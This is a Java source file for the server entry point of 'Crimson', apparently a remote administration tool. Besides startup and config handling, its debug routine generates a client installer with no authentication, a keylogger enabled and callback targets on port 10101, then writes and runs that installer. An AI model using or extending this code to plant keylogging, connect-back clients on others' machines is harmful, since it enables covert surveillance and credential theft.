/****************************************************************************** * * * Copyright 2016 Subterranean Security * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * * limitations under the License. * * * *****************************************************************************/ package com.subterranean_security.crimson.server; import java.io.File; import java.io.FileNotFoundException; import java.io.IOException; import java.io.PrintWriter; import java.sql.SQLException; import java.util.Date; import java.util.NoSuchElementException; import java.util.Scanner; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.subterranean_security.crimson.core.Common; import com.subterranean_security.crimson.core.misc.EH; import com.subterranean_security.crimson.core.misc.HCP; import com.subterranean_security.crimson.core.platform.Platform; import com.subterranean_security.crimson.core.proto.Generator.ClientConfig; import com.subterranean_security.crimson.core.proto.Generator.NetworkTarget; import com.subterranean_security.crimson.core.proto.Keylogger.Trigger; import com.subterranean_security.crimson.core.proto.Misc.AuthMethod; import com.subterranean_security.crimson.core.proto.Misc.AuthType; import com.subterranean_security.crimson.core.proto.Misc.Outcome; import com.subterranean_security.crimson.core.storage.StorageFacility; import com.subterranean_security.crimson.core.util.FileUtil; import com.subterranean_security.crimson.core.util.LogUtil; import com.subterranean_security.crimson.core.util.Native; import com.subterranean_security.crimson.core.util.RandomUtil; import com.subterranean_security.crimson.core.util.TempUtil; import com.subterranean_security.crimson.server.net.ServerConnectionStore; import com.subterranean_security.crimson.server.storage.ServerDatabase; import com.subterranean_security.crimson.server.store.Authentication; import com.subterranean_security.crimson.server.store.ListenerStore; import com.subterranean_security.crimson.universal.Universal; import com.subterranean_security.crimson.universal.Universal.Instance; import com.subterranean_security.crimson.universal.stores.DatabaseStore; import com.subterranean_security.crimson.universal.stores.PrefStore; public final class Server { private static final Logger log = LoggerFactory.getLogger(Server.class); public static void main(String[] argv) { // apply LogBack settings for the session LogUtil.configure(); log.info("Launching Crimson Server (build {})", Common.build); // Establish the custom fallback exception handler Thread.setDefaultUncaughtExceptionHandler(new EH()); // Establish the custom shutdown hook Runtime.getRuntime().addShutdownHook(new ShutdownHook()); // Initialize preferences initializePreferences(); // Try to get a lock or exit if (PrefStore.getPref().isLocked()) { log.error("A Crimson server is already running in another process"); System.exit(0); } else { PrefStore.getPref().lock(); } // Read configuration readConfig(); // Load native libraries Native.Loader.load(); // Clear /tmp/ TempUtil.clear(); // Initialize connection stores ServerConnectionStore.initialize(); // initialize server database initializeDatabase(); try { Common.cvid = DatabaseStore.getDatabase().getInteger("cvid"); } catch (NoSuchElementException | SQLException e) { // TODO Auto-generated catch block e.printStackTrace(); } ListenerStore.start(); if (Universal.isDebug && !ServerState.isCloudMode() && !ServerState.isExampleMode()) { installDebugClient(); } parse(); } private static void initializeDatabase() { StorageFacility sf = new ServerDatabase(Server.class.getName(), new File(Common.Directories.var.getAbsolutePath() + "/system.db")); try { sf.initialize(); } catch (ClassNotFoundException e) { log.error("Failed to load SQLite dependancy"); System.exit(0); } catch (IOException e) { log.error("Failed to write database"); System.exit(0); } catch (SQLException e) { log.error("SQL error: {}", e.getMessage()); System.exit(0); } DatabaseStore.setFacility(sf); } private static void initializePreferences() { PrefStore.loadPreferences(Instance.SERVER); } public static void parse() { try (Scanner stdin = new Scanner(System.in)) { while (true) { String input = stdin.nextLine(); String[] parts = input.split("\\s+"); if (input.isEmpty()) { continue; } else if (parts[0].equals("quit") || parts[0].equals("exit") || parts[0].equals("stop")) { System.exit(0); } } } catch (NoSuchElementException e) { // ignore because server is probably shutting down return; } } /** * Generate and install a debug client on the localhost * * @return Operation outcome */ private static Outcome installDebugClient() { Outcome.Builder outcome = Outcome.newBuilder().setResult(true); // Use group authentication Outcome authOutcome = Authentication .create(AuthMethod.newBuilder().setCreation(new Date().getTime()).setType(AuthType.GROUP).setId(0) .setName("TESTGROUP").setGroupSeedPrefix(RandomUtil.randString(5)).build()); if (!authOutcome.getResult()) { return authOutcome; } ClientConfig cc = ClientConfig.newBuilder().setOutputType("Java (.jar)").setAuthType(AuthType.NO_AUTH) .addTarget(NetworkTarget.newBuilder().setServer("127.0.0.1").setPort(10101).build()) .addTarget(NetworkTarget.newBuilder().setServer("192.168.1.76").setPort(10101).build()) .setPathWin("%USERHOME%/cr_install").setPathBsd("/").setPathLin("%USERHOME%/cr_install") .setPathOsx("%USERHOME%/cr_install").setPathSol("/").setReconnectPeriod(3000) .setBuildNumber(Common.build).setAutostart(false).setKeylogger(true) .setKeyloggerFlushMethod(Trigger.EVENT).setKeyloggerFlushValue(15).build(); try { // Generate installer Generator g = new Generator(); g.generate(cc); // Write installer byte[] res = g.getResult(); File installer = new File(System.getProperty("user.home") + "/client.jar"); FileUtil.writeFile(res, installer); // Run installer HCP.run(HCP.HCP_BASE, Platform.osFamily.getJavaw() + " -jar \"" + installer.getAbsolutePath() + "\""); } catch (Exception e) { log.error("Failed to generate debug installer"); outcome.setResult(false).setComment(e.getMessage()); } return outcome.build(); } // TODO move into a config class private static void readConfig() { File config = new File(Common.Directories.base.getAbsolutePath() + "/server.conf"); try { if (!config.exists()) { config.createNewFile(); // set default setDefaults(config); } Scanner sc = new Scanner(config); while (sc.hasNextLine()) { set(sc.nextLine()); } sc.close(); } catch (IOException e) { log.warn("Configuration error!"); } } private static void setDefaults(File config) { try { PrintWriter pw = new PrintWriter(config); pw.println(Directives.EXAMPLE_MODE + "=false"); pw.println(Directives.CLOUD_MODE + "=false"); pw.close(); } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } } private static void set(String s) { String[] p = s.split("="); switch (Directives.fromString(p[0])) { case EXAMPLE_MODE: { ServerState.setExampleMode(Boolean.parseBoolean(p[1])); return; } case CLOUD_MODE: { ServerState.setCloudMode(Boolean.parseBoolean(p[1])); return; } } } public enum Directives { EXAMPLE_MODE("example-mode"), CLOUD_MODE("cloud-mode"); private String text; Directives(String text) { this.text = text; } public String toString() { return this.text; } public static Directives fromString(String text) { if (text != null) { for (Directives b : Directives.values()) { if (text.equalsIgnoreCase(b.text)) { return b; } } } return null; } } }